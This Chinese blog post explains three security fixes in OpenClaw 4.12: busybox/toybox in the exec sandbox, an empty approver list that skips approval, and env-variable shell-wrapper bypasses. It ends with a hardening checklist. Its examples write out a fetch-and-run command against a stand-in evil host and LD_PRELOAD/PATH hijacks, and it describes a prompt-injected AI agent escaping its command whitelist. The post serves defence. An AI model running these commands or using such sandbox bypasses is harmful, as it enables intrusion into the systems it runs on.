2026年4月12日,OpenClaw 仓库里出现了三个连续提交。
同一个贡献者,同一天,三个 PR,都是安全修复。
如果你在用 OpenClaw 管理 AI 网关、接入外部工具、处理用户数据,这三个漏洞你必须了解。
漏洞一:busybox/toybox 被当解释器用
原问题:OpenClaw 的 exec 沙箱允许一些「安全的」系统命令运行,但 busybox 和 toybox 是「工具箱」程序,一条命令背后可以做几十件事,包括运行任意 shell 脚本。
风险:如果 AI 被注入恶意指令,可以通过 busybox sh -c "..." 绕过原有的命令白名单,执行任意操作。
修复方式:从「安全命令」白名单中完全移除 busybox 和 toybox。
busybox wget http://evil.example.com/payload -O /tmp/x && sh /tmp/x
# 修复后:busybox 直接被拦截,不在允许列表
漏洞二:空审批列表绕过权限验证
原问题:某些操作需要「审批者」才能执行。但当审批者列表为空时,系统逻辑判断为「无限制」而不是「无人可审批」,实际上等于绕过了审批机制。
风险:在没有配置审批人的环境中,任何操作都可以不经审批直接执行,等于权限验证形同虚设。
修复方式:空列表现在明确处理为「无授权」,而非「全通过」。
这类「语义歧义」漏洞在权限系统里很常见,空列表到底是「没限制」还是「没权限」——答案应该始终是后者。
漏洞三:shell 包装器检测被绕过
原问题:OpenClaw 有 shell 命令注入检测,但通过 env VAR=value cmd 这种 env-argv 赋值语法,可以修改命令运行环境变量,绕过原有检测规则。
风险:攻击者可以通过环境变量注入改变程序行为,比如修改 PATH、LD_PRELOAD 等,劫持程序执行流。
修复方式:在 shell 包装器检测里加宽了识别范围,把 env KEY=VALUE 赋值形式也纳入拦截范围。
env LD_PRELOAD=/tmp/evil.so target_command
env PATH=/tmp:$PATH sensitive_command
另一个值得注意的安全改动:默认密钥检测
4.12 还修复了一个容易被忽视的问题:
如果你把 .env.example 里的示例密钥直接复制到生产环境,OpenClaw 现在启动时会主动报错拒绝启动。
Please set a unique token in your config before starting.
这避免了「我以为改了但其实没改」的低级失误导致的安全事故。
自查清单:你的部署安全吗?
升级到 4.12 之后,建议检查以下几项:
- ▶[ ] 运行
openclaw doctor检查配置问题 - ▶[ ] 确认
.env里的 gateway token 是自己生成的,不是示例值 - ▶[ ] 如果用了审批功能,确认审批者列表不为空
- ▶[ ] 检查 exec policy:
openclaw exec-policy show
openclaw exec-policy show
# 同步 exec 审批策略到本地文件
openclaw exec-policy preset strict
安全不是可选项
很多人觉得「我只是自用,不需要关注安全」。
但当你的 AI 助手接入了邮件、文件、命令行执行权限之后——它能做什么,攻击者通过它也能做什么。
OpenClaw 4.12 在安全上做了认真的工作。升级,是最简单的防护。
升级了吗?遇到什么问题?评论区留言,看到都会回。
一键三连「点赞」「转发」「小心心」,欢迎在评论区留下你的想法!
夜雨聆风